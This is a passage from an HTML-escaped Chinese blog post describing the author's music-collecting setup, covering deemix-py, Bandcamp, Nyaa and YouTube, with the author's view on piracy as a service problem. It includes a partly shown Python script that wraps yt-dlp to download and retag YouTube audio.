class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写的&lt;&#x2F;a&gt;。所以，即使原作者不再维护了，我也可以在很长的时间内继续使用它。由于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;deemix-py&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GPLv3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;许可开源，我也得公开自己的源码：&lt;a href=&quot;&#x2F;assets&#x2F;deemix-py.tar.zst&quot;&gt;我修改过的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;deemix-py&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;一个听盗版歌的人（是的，rip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自己的盘也算盗版）为什么还要遵守软件的许可？其实我也不想听盗版，也不是不想掏钱。但是想要随时随地能听到自己喜欢的音乐，还就只能这么做。让我们听听&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.escapistmagazine.com&#x2F;valves-gabe-newell-says-piracy-is-a-service-problem&#x2F;&quot;&gt;G&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;胖在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年是怎么说盗版的&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;We think there is a fundamental
misconception about piracy. Piracy is almost always a service problem
and not a pricing problem,” he said. &lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;If a
pirate offers a product anywhere in the world, 24×7, purchasable from
the convenience of your personal computer, and the legal provider says
the product is region-locked, will come to your country 3 months after
the US release, and can only be purchased at a brick and mortar store,
then the pirate’s service is more valuable.”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;deemix-py&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用起来很方便，而且没有难装的依赖。所以除了它的存在以外，我也没什么好介绍的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Bandcamp&quot;&gt;Bandcamp&lt;&#x2F;h3&gt;
&lt;p&gt;这个网站可以直接给音乐家付费，下载各种格式的音频。不过，它似乎更偏向独立音乐人，所以很少有我想收集的歌。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Nyaa&quot;&gt;Nyaa&lt;&#x2F;h3&gt;
&lt;p&gt;充满动画歌曲；&lt;br &#x2F;&gt;
注意当地法律。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;YouTube&quot;&gt;YouTube&lt;&#x2F;h3&gt;
&lt;p&gt;虽然我的大部分音乐已经来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Deezer、CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了，但是仍然有一些曲子只在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上有&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-6&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-6-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-6-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[6]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-6-content&quot;&gt;比如，Hole&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Nobody’s
Daughter&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Deezer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HMV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里都找不到。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;相比去年，我添加了下载播放列表&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分章节音频的命名方式，并且为了方便整理而重命名、添加了一些元数据。虽然还有一点问题，但用起来已经舒服多了。&lt;&#x2F;p&gt;
&lt;details&gt;
&lt;summary&gt;
&lt;p&gt;因为脚本不是这篇总结的重点，所以被我折叠起来了。点击以查看。&lt;&#x2F;p&gt;
&lt;&#x2F;summary&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env python&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; subprocess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; run&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; sys&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; argv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; tempfile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; TemporaryDirectory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; glob&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; glob&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; mutagen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; File&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; compile&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; shutil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; copytree&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;assert&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; len&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; get_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;yt-dlp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;bestaudio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;--extract-audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;--add-metadata&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;--path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;--output&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;   if&lt;&#x2F;span&gt;&lt;span&gt; url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;startswith&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;       # Split by chapters, and delete unsplitted opus&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;extend&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%(section_number)d %(chapter_title)s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%(ext)s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;--split-chapters&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;--exec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;   elif&lt;&#x2F;span&gt;&lt;span&gt; url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;startswith&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;https:&#x2F;&#x2F;www.youtube.com&#x2F;playlist?list=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%(playlist)s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%(playlist_index)d %(title)s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%(ext)s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;   else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;       raise&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; RuntimeError&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Unsupported URL: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;   return&lt;&#x2F;span&gt;&lt;span&gt; cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span&gt;url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; TODO&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; not working&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;date_pattern&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; compile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5E3F;&quot;&gt;Released on &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;\d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;{4}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5E3F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;\d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;{2}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5E3F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;\d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;{2}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span&gt; TemporaryDirectory&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;prefix&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;yt-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   run&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;get_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;argv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;   for&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; glob&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;dir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;**&#x2F;*.opus&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; recursive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;       assert&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; :=&lt;&#x2F;span&gt;&lt;span&gt; File&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Tell Pyright audio isn&amp;#39;t None&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;       # Add source tags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;SOURCE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;YouTube&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;SOURCEID&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] =&lt;&#x2F;span&gt;&lt;span&gt; audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;purl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span&gt;lstrip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;       # Rename useful tags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;ENCODERSETTINGS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] =&lt;&#x2F;span&gt;&lt;span&gt; audio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;encoder&lt;&#x2F;span&gt;&lt;span style=&quot;color: 